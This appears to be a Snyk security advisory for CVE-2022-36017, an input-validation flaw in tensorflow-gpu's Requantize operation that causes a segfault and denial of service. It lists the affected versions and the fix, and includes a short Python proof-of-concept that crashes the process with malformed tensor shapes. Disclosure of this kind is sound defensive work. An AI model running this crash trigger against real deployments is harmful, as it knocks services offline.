Improper Input Validation Affecting tensorflow-gpu package, versions [,2.7.2)[2.8.0,2.8.1)[2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-3026793
  • published18 Sept 2022
  • disclosed18 Sept 2022
  • creditUnknown

Introduced: 18 Sep 2022

CVE-2022-36017  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Improper Input Validation when Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

PoC

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

References

CVSS Scores

version 3.1